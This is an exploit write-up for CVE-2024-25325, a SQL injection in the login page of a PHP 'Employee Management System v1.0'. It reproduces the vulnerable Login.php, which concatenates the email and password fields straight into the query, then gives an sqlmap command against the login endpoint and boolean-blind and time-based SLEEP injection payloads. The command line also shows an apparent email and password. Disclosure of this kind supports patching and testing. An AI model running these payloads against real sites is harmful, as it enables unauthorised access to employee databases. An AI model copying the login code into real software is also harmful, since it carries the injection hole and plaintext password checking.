```text # Exploit Title: Employee Management System v.1.0 - SQL Injection # Date: 20 February 2024 # Exploit Author: Gnanaraj Mauviel (@0xm3m) # Vendor Homepage: https://www.sourcecodester.com/php/16999/employee-management-system.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/Walterjnr1/employee_akpoly.zip # Version: v1.0 # CVE: CVE-2024-25325 # Tested on: Mac OSX, XAMPP, Apache, MySQL ------------------------------------------------------------------------------------------------------------------------------------------- Source Code(Account/Login.php): <?php include('../inc/topbar.php'); if(isset($_POST['btnlogin'])){ //Get Date date_default_timezone_set('Africa/Lagos'); $current_date = date('Y-m-d h:i:s'); $email = $_POST['txtemail']; $password = $_POST['txtpassword']; $status = '1'; $sql = "SELECT * FROM tblemployee WHERE email='" .$email. "' and password = '".$password."' and status = '".$status."'"; $result = mysqli_query($conn, $sql); if (mysqli_num_rows($result) > 0) { // output data of each row ($row = mysqli_fetch_assoc($result)); $_SESSION["login_email"] = $row['email']; header("Location: ../Employee/index.php"); }else { $_SESSION['error']=' Wrong Email Address and Password'; } } ?> -> sqlmap -u "http://localhost/employee_akpoly/Account/login.php" --data="txtemail=newleastpaysolution%40gmail.com&txtpassword=escobar2012&btnlogin=" --batch -dbs --- Parameter: txtemail (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: [email protected]' AND 5756=5756 AND 'KYqZ'='KYqZ&txtpassword=escobar2012&btnlogin= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: [email protected]' AND (SELECT 2758 FROM (SELECT(SLEEP(5)))vkrP) AND 'oTgK'='oTgK&txtpassword=escobar2012&btnlogin= --- ```